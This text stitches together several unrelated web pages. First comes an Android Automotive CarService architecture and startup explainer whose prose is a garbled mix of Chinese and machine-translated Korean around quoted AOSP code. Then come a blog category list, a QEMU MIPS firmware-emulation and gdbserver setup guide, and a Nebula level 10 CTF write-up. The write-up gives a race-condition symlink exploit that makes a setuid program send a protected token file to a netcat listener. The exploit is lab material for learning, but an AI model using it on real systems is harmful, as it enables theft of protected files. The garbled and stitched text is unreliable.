https://wizzie.top/carservice/android_carservice_structureAndInit/

 

Android carservice架构及启动流程

文档内容:carservice架构介绍,内容有Car APP、Car API、Car Service等部分,carservice启动流程

wizzie.top

 

1. 설명영구 링크

1.1. 그림영구 링크

Google은 上介绍汽车架构:

车载HAL是汽车与车辆网络服务之间的接义义(同时保护传入的数据) :

车载HAL은 Android Automotive架构:

  • 자동차 앱: 包括OEM 와 第 3 方开发 의 앱
  • Car API: CarSensorManager가 API에 있습니다.位于/platform/packages/services/Car/car-lib
  • CarService: 系统中与车상식적인 교통수단, 位于/플랫폼/패키지/서비스/Car/
  • 차량 HAL: 하드웨어/인터페이스/자동차/차량/2.0/default/(하드웨어/인터페이스/자동차/차량/2.0/default/impl/vhal_v2_0/)

1.1.1. 프레임워크 CarService영구 링크

기계적 인조 인간 O/P는 자동차가 HAL을 사용하는 차량HAL통신으로 사용됩니다. ,进而过车载总线(例如CAN总线)与车身进行讯,同时它们还为应사용 가능한 앱은 从而让APP과 같은 앱입니다.

  • 자동차***매니저:packages/services/Car/car-lib/src/android/car/hardware
  • 자동차***서비스:packages/services/Car/service/src/com/android/car/

1.2. 앱스토어영구 링크

1.2.1. APP层确认是否支持车载功能영구 링크

  1. 이전에 앱을 사용하는 Car API가 Car API를 사용하여 실행되었습니다.
if (getPackageManager().hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE)) {
    .....
}

예:

//packages/apps/SettingsIntelligence/src/com/android/settings/intelligence/suggestions/eligibility/AutomotiveEligibilityChecker.java
    public static boolean isEligible(Context context, String id, ResolveInfo info) {
        PackageManager packageManager = context.getPackageManager();
        //是否支持车载功能
        boolean isAutomotive = packageManager.hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE);
        //是否有车载功能支持的资格
        boolean isAutomotiveEligible =
                info.activityInfo.metaData.getBoolean(META_DATA_AUTOMOTIVE_ELIGIBLE, false);
        if (isAutomotive) {
            if (!isAutomotiveEligible) {
                Log.i(TAG, "Suggestion is ineligible for FEATURE_AUTOMOTIVE: " + id);
            }
            return isAutomotiveEligible;
        }
        return true;
    }
//frameworks/base/services/core/java/com/android/server/pm/PackageManagerService.java
    @GuardedBy("mAvailableFeatures")
    final ArrayMap<String, FeatureInfo> mAvailableFeatures;

    @Override
    public boolean hasSystemFeature(String name, int version) {
        // allow instant applications
        synchronized (mAvailableFeatures) {
            final FeatureInfo feat = mAvailableFeatures.get(name);
            if (feat == null) {
                return false;
            } else {
                return feat.version >= version;
            }
        }
    }
  1. 일반적으로 Binder访问PackageManagerService,mAvailableFeatures리면적 内容是통로过读取/system/etc/permissions하단 XML 문서(对应SDK적 位置—프레임워크/네이티브/데이터/etc아래 XML 문서 중 기능 字段)
//frameworks/native/data/etc/car_core_hardware.xml
<permissions>
    <!-- Feature to specify if the device is a car -->
    <feature name="android.hardware.type.automotive" />
    .....
</permission>
//frameworks/native/data/etc/android.hardware.type.automotive.xml
<!-- These features determine that the device running android is a car. -->
<permissions>
    <feature name="android.hardware.type.automotive" />
</permissions>

1.2.2. APP创建Car API, 接收底层回调영구 링크

자동차 제작은 平台最高等级的API( packages/services/Car/car-lib/src/android/car/Car.java), 为外界提供汽车所有服务와数据的访问

  1. CommunicrecreateCar 방법으로 새로운 Car实例
  2. 통신 연결 방식 CarService
  3. 当成功连接时可以通过getCarManagermethod获取一个一个相关的manager, 比如Hvaccommunication过get CarManager 방법을 사용하면 CarHvacManager, 当获取到manager后就可以进行以操作

HvacController.java의 예:

//packages/apps/Car/Hvac/src/com/android/car/hvac/HvacController.java
  private Object mHvacManagerReady = new Object();

 @Override
    public void onCreate() {
        super.onCreate();
        if (getPackageManager().hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE)) {
            if (SystemProperties.getBoolean(DEMO_MODE_PROPERTY, false)) {
                IBinder binder = (new LocalHvacPropertyService()).getCarPropertyService();
                initHvacManager(new CarHvacManager(binder, this, new Handler()));
                return;
            }
            //创建Car实例,即new Car对象
            mCarApiClient = Car.createCar(this, mCarConnectionCallback);
            //connect连接,调用startCarService启动CarService
            mCarApiClient.connect();
        }
    }

    private final CarConnectionCallback mCarConnectionCallback =
            new CarConnectionCallback() {
                @Override
                public void onConnected(Car car) {
                    synchronized (mHvacManagerReady) {
                        try {
                            //getCarManager获取manager
                            //在获取到CarHvacManager后,可以直接调用CarHvacManager提供的接口
                            //例如mHvacManager.getPropertyList();
                            initHvacManager((CarHvacManager) mCarApiClient.getCarManager(
                                    android.car.Car.HVAC_SERVICE));
                            mHvacManagerReady.notifyAll();
                        } catch (CarNotConnectedException e) {
                            Log.e(TAG, "Car not connected in onServiceConnected");
                        }
                    }
                }

                @Override
                public void onDisconnected(Car car) {
                }
            };

    private void initHvacManager(CarHvacManager carHvacManager) {
        mHvacManager = carHvacManager;
        List<CarPropertyConfig> properties = null;
        try {
            properties = mHvacManager.getPropertyList();
            mPolicy = new HvacPolicy(HvacController.this, properties);
            //注册回调
            mHvacManager.registerCallback(mHardwareCallback);
        } catch (android.car.CarNotConnectedException e) {
            Log.e(TAG, "Car not connected in HVAC");
        }
    }

    @Override
    public void onDestroy() {
        super.onDestroy();
        if (mHvacManager != null) {
            //取消注册回调
            mHvacManager.unregisterCallback(mHardwareCallback);
        }
        if (mCarApiClient != null) {
            mCarApiClient.disconnect();
        }
    }

    //接收处理callback消息
    private final CarHvacManager.CarHvacEventCallback mHardwareCallback =
            new CarHvacManager.CarHvacEventCallback() {
                @Override
                public void onChangeEvent(final CarPropertyValue val) {
                    int areaId = val.getAreaId();
                    switch (val.getPropertyId()) {
                        case CarHvacManager.ID_ZONED_AC_ON:
                            handleAcStateUpdate(getValue(val));
                            break;
                        case CarHvacManager.ID_ZONED_FAN_DIRECTION:
                            handleFanPositionUpdate(areaId, getValue(val));
                        .....
                        default:
                            if (Log.isLoggable(TAG, Log.DEBUG)) {
                                Log.d(TAG, "Unhandled HVAC event, id: " + val.getPropertyId());
                            }
                    }
                }

                @Override
                public void onErrorEvent(final int propertyId, final int zone) {
                }
            };

예를 들어 라디오 앱의 RadioTunerExt.java文件:

//packages/apps/Car/Radio/src/com/android/car/radio/platform/RadioTunerExt.java
    RadioTunerExt(Context context) {
        //创建Car实例,即new Car对象
        mCar = Car.createCar(context, mCarServiceConnection);
        //connect连接,调用startCarService启动CarService
        mCar.connect();
    }

    private final ServiceConnection mCarServiceConnection = new ServiceConnection() {
        @Override
        public void onServiceConnected(ComponentName name, IBinder service) {
            synchronized (mLock) {
                try {
                    //getCarManager获取manager
                    mCarAudioManager = (CarAudioManager)mCar.getCarManager(Car.AUDIO_SERVICE);
                    if (mPendingMuteOperation != null) {
                        boolean mute = mPendingMuteOperation;
                        mPendingMuteOperation = null;
                        Log.i(TAG, "Car connected, executing postponed operation: "
                                + (mute ? "mute" : "unmute"));
                        setMuted(mute);
                    }
        .....

2. 목차영구 링크

2.1. CarService一级目录结构说明( packages/services/Car/)영구 링크

목차:packages/services/Car/

.
├── Android.mk
├── apicheck.mk
├── apicheck_msg_current.txt
├── apicheck_msg_last.txt
├── car-cluster-logging-renderer    //LoggingClusterRenderingService继承InstrumentClusterRenderingService
├── car-default-input-service   //按键消息处理
├── car-lib         //提供给汽车App特有的接口,许多定制的模块都在这里实现,包括Sensor,HVAC,Cabin,ActiveParkingAssiance,Diagnostic,Vendor等
├── car-maps-placeholder    //地图软件相关
├── car_product         //系统编译相关
├── car-support-lib     //android.support.car
├── car-systemtest-lib  //系统测试相关
├── car-usb-handler     //开机自启,用于管理车机USB
├── CleanSpec.mk
├── evs  
├── obd2-lib
├── PREUPLOAD.cfg
├── procfs-inspector
├── service    //com.android.car是一个后台运行的组件,可以长时间运行并且不需要和用户去交互的,这里即使应用被销毁,它也可以正常工作
├── tests
├── tools   //是一系列的工具,要提到的是里面的emulator,测试需要用到的。python写的,通过adb可以连接vehicleHal的工具,用于模拟测试
├── TrustAgent
└── vehicle-hal-support-lib

2.2. 자동차 APP영구 링크

  • packages/services/Car/car_product/build/car.mk里面决정了是否编译상关apk(system/priv-app)
  • 출처 위치::packages/apps/Car/

这个文件中列了汽车系统中的专有模块(首字母大写的模块基本上書是汽车系统中专유있는 앱) :

//packages/services/Car/car_product/build/car.mk
# Automotive specific packages
PRODUCT_PACKAGES += \
    CarService \
    CarTrustAgentService \
    CarDialerApp \                      # 电话应用,包含拨号键盘、通话记录等
    CarRadioApp \                       # 收音机应用
    OverviewApp \
    CarLauncher \
    CarLensPickerApp \                  # 活动窗口选择应用(Launcher)
    LocalMediaPlayer \                  # 提供本地播放服务的应用
    CarMediaApp \                       # 媒体应用,包含播放界面等
    CarMessengerApp \                   # 消息管理应用,包含消息及TTS相关功能
    CarHvacApp \                        # 空调应用,空调显示及操作界面
    CarMapsPlaceholder \
    CarLatinIME \                       # 输入法应用
    CarSettings \                       # 设置应用
    CarUsbHandler \
    android.car \
    car-frameworks-service \
    com.android.car.procfsinspector \
    libcar-framework-service-jni \
....
PRODUCT_PACKAGES += \
    Bluetooth \
    OneTimeInitializer \
    Provision \
    SystemUI \
    SystemUpdater                       # 系统升级应用

2.3. 자동차 API영구 링크

  • 源码位置: /platform/packages/services/Car/car-lib,因为对手机와 平板没有의미 义,仅用于开发汽车,所以没有包含在Framework SDK中

자동차 API(详细路径: packages/services/Car/car-lib/src/android/car/)유如下:

자동차 API 분류:


2.4. 차량 서비스영구 링크

  • 출처 위치:packages/services/Car/

CarServcie模块与很多模块city需要交互(供参考):

  • 向上给APP提供API接口;
  • 向下与MCU进行信,进而와车身网络进行交互;
  • 给其他模块提供标项信息;
  • 给Camera模块提供Digital RVC控等信息等;
  • 可以获取DSP版本、前屏版本号等;
  • 持有Power模块的锁,carservice挂了就会息屏


2.5. AIDL영구 링크

Android는 Android에서 사용하기로 결정했습니다.

如要使用 AIDL 创建绑定服务,请执行以下步骤:

  1. 创建.aidl文件:此文件定义带유방법签名的编程接口
  2. 개발자:Android SDK工具会基于您的.aidl文件,使用Java编程语言生成接口。此接口拥有一个name为Stub的内部抽象类, 用于扩见Binder类并实现AIDL接口中的方法您必须扩Stub类并实现这些방법
  3. 向客户端公开接口,实现Service并写onBind(),从而返回Stub类的实现

2.5.1. 예를 들어 ICarInputListener영구 링크

  1. AIDL문서:
    //packages/services/Car/car-lib/src/android/car/input/ICarInputListener.aidl
    /**
     * Binder API for Input Service.
     *
     * @hide
     */
    oneway interface ICarInputListener {
     /** Called when key event has been received. */
     void onKeyEvent(in KeyEvent keyEvent, int targetDisplay) = 1;
    }
    
  2. 같은 종류의 AIDL接口中的内部抽象类Stub
//packages/services/Car/car-lib/src/android/car/input/CarInputHandlingService.java
    private class InputBinder extends ICarInputListener.Stub {
        private final EventHandler mEventHandler;

        InputBinder() {
            mEventHandler = new EventHandler(CarInputHandlingService.this);
        }

        @Override
        public void onKeyEvent(KeyEvent keyEvent, int targetDisplay) throws RemoteException {
            mEventHandler.doKeyEvent(keyEvent, targetDisplay);
        }
    }
  1. 客户端调사용 服务端적 지원

추신:如果需要返回对象则需要实现Service.onBind(Intent)방법, 该方法会返回一个IBinder对象到客户端

//packages/services/Car/service/src/com/android/car/CarInputService.java
    private final ServiceConnection mInputServiceConnection = new ServiceConnection() {
        @Override
        public void onServiceConnected(ComponentName name, IBinder binder) {
            if (DBG) {
                Log.d(CarLog.TAG_INPUT, "onServiceConnected, name: "
                        + name + ", binder: " + binder);
            }
            mCarInputListener = ICarInputListener.Stub.asInterface(binder);

            try {
                binder.linkToDeath(() -> CarServiceUtils.runOnMainSync(() -> {
                    Log.w(CarLog.TAG_INPUT, "Input service died. Trying to rebind...");
                    mCarInputListener = null;
                    // Try to rebind with input service.
                    mCarInputListenerBound = bindCarInputService();
                }), 0);
            } catch (RemoteException e) {
                Log.e(CarLog.TAG_INPUT, e.getMessage(), e);
            }
        }

2.6. carservice 작동 흐름 과정영구 링크

대진류과정:

  1. SystemServer는 CarServiceHelperService를 지원합니다.
  2. 여기에서 사용되는 startService后, CarServiceHelperService의 onStart 방법을 통해 bindService의 방법은 CarService(一个系统级别의 APK, 位于system/priv-app)입니다.
  3. 启动CarService后首先调사용 onCreate, 创建ICarImpl对象并初始化, 에서 此时创建了一系列car상형核心服务, 并遍历init初始化
  4. onBind에 사용되는 Bind将该ICarImpl对象返回给CarServiceHelperService,CarServiceHelperService는 Binder에서 사용되는 1个Binder对象ICarServiceHelperImpl传递给CarService,建立双向跨进程

2.6.1. 설명서영구 링크

2.6.2. CarServiceHelperService 서비스영구 링크

frameworks/base/services/java/com/android/server/SystemServer.java - run() —-> startOtherServices()

    private static final String CAR_SERVICE_HELPER_SERVICE_CLASS =
            "com.android.internal.car.CarServiceHelperService";
            ......
            if (mPackageManager.hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE)) {
                traceBeginAndSlog("StartCarServiceHelperService");
                mSystemServiceManager.startService(CAR_SERVICE_HELPER_SERVICE_CLASS);
                traceEnd();
            }

—–> frameworks/base/services/core/java/com/android/server/SystemServiceManager.java - startService

    @SuppressWarnings("unchecked")
    public SystemService startService(String className) {
        ....
        return startService(serviceClass);
    }

    public <T extends SystemService> T startService(Class<T> serviceClass) {
        ...
        startService(service);
        ...
    }

    public void startService(@NonNull final SystemService service) {
        ......
        try {
            service.onStart();
            ...
        }

2.6.3. Carservice 서비스 정의영구 링크

—–> 프레임워크/opt/car/services/src/com/android/internal/car/CarServiceHelperService.java - onStart()

    //这就是系统中和汽车相关的核心服务CarService,相关源代码在packages/services/Car/service目录下
    private static final String CAR_SERVICE_INTERFACE = "android.car.ICar";

    @Override
    public void onStart() {
        Intent intent = new Intent();
        intent.setPackage("com.android.car");  //绑定包名,设置广播仅对该包有效
        //绑定action,表明想要启动能够响应设置的这个action的活动,并在清单文件AndroidManifest.xml中设置action属性
        intent.setAction(CAR_SERVICE_INTERFACE);
        //绑定后回调
        if (!getContext().bindServiceAsUser(intent, mCarServiceConnection, Context.BIND_AUTO_CREATE,
                UserHandle.SYSTEM)) {
            Slog.wtf(TAG, "cannot start car service");
        }
        System.loadLibrary("car-framework-service-jni");
    }
  • service源码路径:packages/services/Car/service/AndroidManifest.xml

sharedUserId는 类似SystemUI, 它编译出来同样是一个 APK文件

설계 문서 경로 위치:/system/priv-app/CarService/CarService.apk

//packages/services/Car/service/AndroidManifest.xml
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
        xmlns:androidprv="http://schemas.android.com/apk/prv/res/android"
        package="com.android.car"
        coreApp="true"
        android:sharedUserId="android.uid.system"> 
        ......
<application android:label="Car service"
                 android:directBootAware="true"
                 android:allowBackup="false"
                 android:persistent="true">
        <service android:name=".CarService"
                android:singleUser="true">
            <intent-filter>
                <action android:name="android.car.ICar" />
            </intent-filter>
        </service>
        <service android:name=".PerUserCarService" android:exported="false" />
    </application>

2.6.4. BindService 서비스 제공영구 링크

context.bindService() ——> onCreate() ——> onBind() ——> Service running ——> onUnbind() ——> onDestroy() ——> Service stop

onBind()는 IBind를 사용하여 IBind를 실행합니다.服务时候把调 이용자 ( Context, 例如Activity)는 会 화 서비스 결정에서 1 起, Context 退 了, 서비스 就会调사용 onUnbind-> onDestroy 와 같습니다.

所以调사용bindService의 생활은 다음과 같습니다.onCreate --> onBind(只一次,不可多次绑定) --> onUnbind --> onDestroy

Service每一次的开启关闭过程中,只有onStart可被多次调사용 (통계다次startService调용),其他onCreate,onBind,onUnbind,onDestroy재일个生命周期中只能被调사용일次


2.7. 자동차 서비스영구 링크

2.7.1. 생성중영구 링크

——–> 패키지/서비스/Car/service/src/com/android/car/CarService.java - onCreate()

ICarImpl 실사 제작

    @Nullable
    private static IVehicle getVehicle() {
        try {
            //该service启动文件hardware/interfaces/automotive/vehicle/2.0/default/android.hardware.automotive.vehicle@2.0-service.rc
            return android.hardware.automotive.vehicle.V2_0.IVehicle.getService();
        } ....
        return null;
    }

    @Override
    public void onCreate() {
        Log.i(CarLog.TAG_SERVICE, "Service onCreate");
        //获取hal层的Vehicle service
        mVehicle = getVehicle();

        //创建ICarImpl实例
        mICarImpl = new ICarImpl(this,
                mVehicle,
                SystemInterface.Builder.defaultSystemInterface(this).build(),
                mCanBusErrorNotifier,
                mVehicleInterfaceName);
        //然后调用ICarImpl的init初始化方法
        mICarImpl.init();
        //设置boot.car_service_created属性
        SystemProperties.set("boot.car_service_created", "1");

        linkToDeath(mVehicle, mVehicleDeathRecipient);
        //最后将该service注册到ServiceManager
        ServiceManager.addService("car_service", mICarImpl);
        super.onCreate();
    }
//packages/services/Car/service/src/com/android/car/ICarImpl.java
    private final VehicleHal mHal;
    //构造函数启动一大堆服务
    public ICarImpl(Context serviceContext, IVehicle vehicle, SystemInterface systemInterface,
            CanBusErrorNotifier errorNotifier, String vehicleInterfaceName) {
        mContext = serviceContext;
        mSystemInterface = systemInterface;
        //创建VehicleHal对象
        mHal = new VehicleHal(vehicle);
        mVehicleInterfaceName = vehicleInterfaceName;
        mSystemActivityMonitoringService = new SystemActivityMonitoringService(serviceContext);
        mCarPowerManagementService = new CarPowerManagementService(mContext, mHal.getPowerHal(),
                systemInterface);
        mCarPropertyService = new CarPropertyService(serviceContext, mHal.getPropertyHal());
        .....
        //InstrumentClusterService service启动
        mInstrumentClusterService = new InstrumentClusterService(serviceContext,
                mAppFocusService, mCarInputService);
        mSystemStateControllerService = new SystemStateControllerService(serviceContext,
                mCarPowerManagementService, mCarAudioService, this);
        mPerUserCarServiceHelper = new PerUserCarServiceHelper(serviceContext);
        // mCarBluetoothService = new CarBluetoothService(serviceContext, mCarPropertyService,
        //        mPerUserCarServiceHelper, mCarUXRestrictionsService);
        mVmsSubscriberService = new VmsSubscriberService(serviceContext, mHal.getVmsHal());
        mVmsPublisherService = new VmsPublisherService(serviceContext, mHal.getVmsHal());
        mCarDiagnosticService = new CarDiagnosticService(serviceContext, mHal.getDiagnosticHal());
        mCarStorageMonitoringService = new CarStorageMonitoringService(serviceContext,
                systemInterface);
        mCarConfigurationService =
                new CarConfigurationService(serviceContext, new JsonReaderImpl());
        mUserManagerHelper = new CarUserManagerHelper(serviceContext);

        //注意排序,service存在依赖
        List<CarServiceBase> allServices = new ArrayList<>();
        allServices.add(mSystemActivityMonitoringService);
        allServices.add(mCarPowerManagementService);
        allServices.add(mCarPropertyService);
        allServices.add(mCarDrivingStateService);
        allServices.add(mCarUXRestrictionsService);
        allServices.add(mCarPackageManagerService);
        allServices.add(mCarInputService);
        allServices.add(mCarLocationService);
        allServices.add(mGarageModeService);
        allServices.add(mAppFocusService);
        allServices.add(mCarAudioService);
        allServices.add(mCarNightService);
        allServices.add(mInstrumentClusterService);
        allServices.add(mCarProjectionService);
        allServices.add(mSystemStateControllerService);
        // allServices.add(mCarBluetoothService);
        allServices.add(mCarDiagnosticService);
        allServices.add(mPerUserCarServiceHelper);
        allServices.add(mCarStorageMonitoringService);
        allServices.add(mCarConfigurationService);
        allServices.add(mVmsSubscriberService);
        allServices.add(mVmsPublisherService);

        if (mUserManagerHelper.isHeadlessSystemUser()) {
            mCarUserService = new CarUserService(serviceContext, mUserManagerHelper);
            allServices.add(mCarUserService);
        }

        mAllServices = allServices.toArray(new CarServiceBase[allServices.size()]);
    }

    @MainThread
    void init() {
        traceBegin("VehicleHal.init");
        mHal.init();
        traceEnd();
        traceBegin("CarService.initAllServices");
        //启动的所有服务遍历调用init初始化(各个都继承了CarServiceBase)
        for (CarServiceBase service : mAllServices) {
            service.init();
        }
        traceEnd();
    }

2.7.2. 바인딩에 대한영구 링크

상단 화면의 mICarImpl 생성:

  1. onBind()를 사용하는 방법은 BindService()를 사용하여 의도적으로 사용하는 bindServiceAsUser방법입니다.
  2. onUnbind()는 unbindService()의 의도를 고려하여 서비스를 정의합니다.
//packages/services/Car/service/src/com/android/car/CarService.java
    @Override
    public IBinder onBind(Intent intent) {
        return mICarImpl;
    }

所以此处的mICarImpl会제작为IBinder返回给CarServiceHelperService.java - bindServiceAsUser방법중의 参数mCarServiceConnection (回调)

2.7.3. 파괴시영구 링크

mICarImpl이 제공하는 기능은 다음과 같습니다.

    @Override
    public void onDestroy() {
        Log.i(CarLog.TAG_SERVICE, "Service onDestroy");
        mICarImpl.release();
        mCanBusErrorNotifier.removeFailureReport(this);

        if (mVehicle != null) {
            try {
                mVehicle.unlinkToDeath(mVehicleDeathRecipient);
                mVehicle = null;
            } catch (RemoteException e) {
                // Ignore errors on shutdown path.
            }
        }

        super.onDestroy();
    }

2.8. ServiceConnection을 반환합니다.영구 링크

ICarImpl初始化完毕,会作为IBinder返回给CarServiceHelperService.java - bindServiceAsUser方法中绑定此服务的mCarServiceConnection(回调)

mCarServiceConnection初始化如下:

  1. CarServiceHelperService의 mCarService에서 ICarImpl을 사용할 수 있습니다.
  2. mCarService.transact는 ICar.aidl을 사용하는 통합 솔루션 setCarServiceHelper를 사용합니다.
//frameworks/opt/car/services/src/com/android/internal/car/CarServiceHelperService.java
private static final String CAR_SERVICE_INTERFACE = "android.car.ICar";
private IBinder mCarService;
private final ICarServiceHelperImpl mHelper = new ICarServiceHelperImpl();

private final ServiceConnection mCarServiceConnection = new ServiceConnection() {
        @Override
        public void onServiceConnected(ComponentName componentName, IBinder iBinder) {
            Slog.i(TAG, "**CarService connected**");
            //1. 返回的ICarImpl被保存在了CarServiceHelperService的mCarService
            mCarService = iBinder;
            // Cannot depend on ICar which is defined in CarService, so handle binder call directly
            // instead. 
            // void setCarServiceHelper(in IBinder helper)
            Parcel data = Parcel.obtain();
            data.writeInterfaceToken(CAR_SERVICE_INTERFACE);
            //将ICarServiceHelperImpl类型的对象作为数据跨进程传递
            data.writeStrongBinder(mHelper.asBinder());
            try {
                //2.跨进程传输
                //对端是mCarService即ICarImpl,调用binder的transact进行跨进程通信
                //其code代表需要调用的对端方法,data为携带的传输数据
                //FIRST_CALL_TRANSACTION  = 0x00000001,即调用对端ICar.aidl中定义的第一个方法setCarServiceHelper
                mCarService.transact(IBinder.FIRST_CALL_TRANSACTION, // setCarServiceHelper
                        data, null, Binder.FLAG_ONEWAY);
            } catch (RemoteException e) {
                Slog.w(TAG, "RemoteException from car service", e);
                handleCarServiceCrash();
            }
        }

        @Override 
        public void onServiceDisconnected(ComponentName componentName) {
            handleCarServiceCrash();
        }
    };

2.9. 跨进程setCarServiceHelper영구 링크

    @Override
    public void setCarServiceHelper(IBinder helper) {
        int uid = Binder.getCallingUid();
        if (uid != Process.SYSTEM_UID) {
            throw new SecurityException("Only allowed from system");
        }
        synchronized (this) {
            //将ICarServiceHelper的代理端保存在ICarImpl内部mICarServiceHelper
            mICarServiceHelper = ICarServiceHelper.Stub.asInterface(helper);
            //同时也传给了SystemInterface
            //此时他们有能力跨进程访问CarServiceHelperService
            mSystemInterface.setCarServiceHelper(mICarServiceHelper);
        }
    }

3. 참고영구 링크

Android Automotive용 CarService 서비스

深入理解Android의 시작 서비스와 바인딩 서비스

안드로이드와 자동차

안드로이드 O CarService

Java 주석(Annotation)

Google 공식 문서 - AIDL

AIDL 단방향 以及in, out,inout参数의 논리

Android AIDL사용법 알아보기

일구气从零读懂CAN总线

本地进程间通信——Unix域套接字

'차량 보안' 카테고리의 다른 글

ISO 21434 CAL Level  (0) 2023.06.29
Car Hacking Training  (0) 2023.05.18
블로그 이미지

wtdsoul

,
블로그 이미지

wtdsoul

,

진행 예정

모바일 2025. 2. 4. 23:17
블로그 이미지

wtdsoul

,
블로그 이미지

wtdsoul

,

https://liveyourit.tistory.com/83

 

QEMU, 펌웨어를 이용한 가상 공유기 환경 구축 (MIPS)

QEMU 에뮬레이터와 QEMU에 가상으로 실행시키고 싶은 공유기 펌웨어를 사용해 가상 공유기 환경을 구축하고 실행시켜보려고 한다. 구축 환경은 우분투 x64이고 펌웨어는 제조사 웹사이트에 공개된

liveyourit.tistory.com


바이너리 파일 다운로드 경로)
https://people.debian.org/~aurel32/qemu/

 

Index of /~aurel32/qemu

 

people.debian.org


- 환경 : Ubuntu x64 (ubuntu-22.04-beta-desktop-amd64
- Firmware : 제오사 웹사이트 내 공개된 구버전 펌웨어
- 파일시스템 : Mips

사용된 명령어
apt-get install qemu
apt-get install qemu-system-mips64
apt-get install wget
wget https://people.debian.org/~aurel32/qemu/mips/debian_wheezy_mips_standard.qcow2
wget https://people.debian.org/~aurel32/qemu/mips/vmlinux-3.2.0-4-5kc-malta


QEMU 구동 확인 및 로그인 

 

 

qemu-system-mips64 -M malta -kernel vmlinux-3.2.0-4-5kc-malta -hda debian_wheezy_mips_standard.qcow2 -append "root=/dev/sda1 console=tty0"

root / root

3) (host) qemu 실행

이제 qemu를 실행시킬 준비는 다 되었다. 실행시킬 명령어의 인자가 꽤 복잡한데 하나씩 나누어 보면 이해하기 쉽다.

qemu-system-mips \
-M malta -kernel vmlinux-3.2.0-4-4kc-malta \
-hda debian_wheezy_mips_standard.qcow2 \
-append "root=/dev/sda1 console=tty0" \

다운로드한 커널과 이미지를 통해 가장 기본적인 옵션만 설정하고 qemu를 실행할 수 있지만, ssh 접속 등 동적 분석을 편리하게 하기 위해 몇 가지 옵션을 다음과 같이 추가하자.

qemu-system-mips \
-m 256 \
-M malta -kernel vmlinux-3.2.0-4-5kc-malta \
-hda debian_wheezy_mips_standard.qcow2 \
-append "root=/dev/sda1 console=tty0" \
-net user,hostfwd=tcp:127.0.0.1:2222-:22,hostfwd=tcp:127.0.0.1:5555-:1234 \
-net nic,model=e1000
qemu-system-mips -m 256 -M malta -kernel vmlinux-3.2.0-4-5kc-malta -hda debian_wheezy_mips_standard.qcow2 -append "root=/dev/sda1 console=tty0" -net user,hostfwd=tcp:127.0.0.1:2222-:22,hostfwd=tcp:127.0.0.1:5555-:1234 -net nic,model=e1000


- m : 램(RAM) 크기를 설정하는 부분이다. (32-bit MIPS에서는 기본 128m, 최대 256m 인식)
- net : 포트 포워딩을 설정하는 부분이다. ip는 로컬 호스트로 설정하고 포트의 경우 2222 -> 22 (ssh)로, 5555 -> 1234 (gdbserver)로 설정해준다. (이전의 -redir 옵션은 deprecated 됐다고 한다. 위와 같은 형태로 옵션을 주자)

성공적으로 실행이 되었으면 root/root 혹은 user/user로 로그인이 가능하다.

(guest) gdbserver, gdb 설치

apt-get update를 해도 패키지를 잘 못 찾아오는 것을 확인할 수 있다. /etc/apt/sources.list의 모든 내용을 주석처리하고 다음 라인을 추가해주자.
deb http://archive.debian.org/debian/ wheezy main contrib non-free
이후에 apt-get install gdbserver gdb로 gdbserver와 gdb를 설치해주자.

 

(guest) gdbserver 실행

scp로 호스트에서 게스트로 babymips 파일을 복사 후, gdbserver를 실행시켜주자.

scp -P 2222 babymips(분석할 파일명) root@127.0.0.1:/root

gdbserver localhost:1234 ./babymips(분석할 파일명)

(host) gdb-multiarch 실행

호스트에서 gdb-multiarch를 실행해준 후, target remote localhost:5555 명령어를 통해 게스트에서 실행되고 있는 gdbserver에 접속한다.


환경구축 완료



 

블로그 이미지

wtdsoul

,

https://velog.io/@woounnan/PWNABLE-Nebula-Level-10

 

PWNABLE] Nebula Level 10

실행파일 인자로 파일, ip를 입력받고파일의 내용을 해당 ip의 18211 포트로 전송한다.level10 디렉토리에는 실행파일인 flag10과 플래그가 담긴 것으로 추측되는 token 파일을 확인할 수 있는데 당연하

velog.io

https://exploit.education/nebula/level-10/
아직 소스코드가 있었네 

flag10.cpp

#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <stdio.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <string.h>

int main(int argc, char **argv)
{
  char *file;
  char *host;

  if(argc < 3) {
      printf("%s file host\n\tsends file to host if you have access to it\n", argv[0]);
      exit(1);
  }

  file = argv[1];
  host = argv[2];

  if(access(argv[1], R_OK) == 0) {
      int fd;
      int ffd;
      int rc;
      struct sockaddr_in sin;
      char buffer[4096];

      printf("Connecting to %s:18211 .. ", host); fflush(stdout);

      fd = socket(AF_INET, SOCK_STREAM, 0);

      memset(&sin, 0, sizeof(struct sockaddr_in));
      sin.sin_family = AF_INET;
      sin.sin_addr.s_addr = inet_addr(host);
      sin.sin_port = htons(18211);

      if(connect(fd, (void *)&sin, sizeof(struct sockaddr_in)) == -1) {
          printf("Unable to connect to host %s\n", host);
          exit(EXIT_FAILURE);
      }

#define HITHERE ".oO Oo.\n"
      if(write(fd, HITHERE, strlen(HITHERE)) == -1) {
          printf("Unable to write banner to host %s\n", host);
          exit(EXIT_FAILURE);
      }
#undef HITHERE

      printf("Connected!\nSending file .. "); fflush(stdout);

      ffd = open(file, O_RDONLY);
      if(ffd == -1) {
          printf("Damn. Unable to open file\n");
          exit(EXIT_FAILURE);
      }

      rc = read(ffd, buffer, sizeof(buffer));
      if(rc == -1) {
          printf("Unable to read from file: %s\n", strerror(errno));
          exit(EXIT_FAILURE);
      }

      write(fd, buffer, rc);

      printf("wrote file!\n");

  } else {
      printf("You don't have access to %s\n", file);
  }
}

🎪Race Condition Attack

경쟁 조건 공격을 생각해볼 수 있다.

/tmp/level10/test라는 임의의 파일을 전송한다고 가정할 때, access()가 통과된 뒤에 test 파일을 삭제하고 token에 대한 심볼릭 링크를 test로 다시 생성한다면?

token의 내용을 대상 ip에게 전송할 것이다.

🧺Proof

먼저 파일 내용을 수신하기 위해 netcat으로 18211 포트에 대해 리스닝한다.

netcat -l 18211 -k

다른 쉘에서는 옳은 권한의 파일 test를 생성한 뒤 flag10을 실행하여 access가 통과하도록 만든다.

while :; 
do 
	rm /tmp/level10/test; 
	echo 'this is test flag' > /tmp/level10/test; 
	./flag10 /tmp/level10/test 127.0.0.1;
done

또 하나의 쉘을 열고, 기존의 옳은 권한의 test를 삭제하고 token에 대한 심볼릭 링크 파일로 바꾸는 동작을 반복 실행시킨다.

while :; 
do 
	rm /tmp/level10/test; 
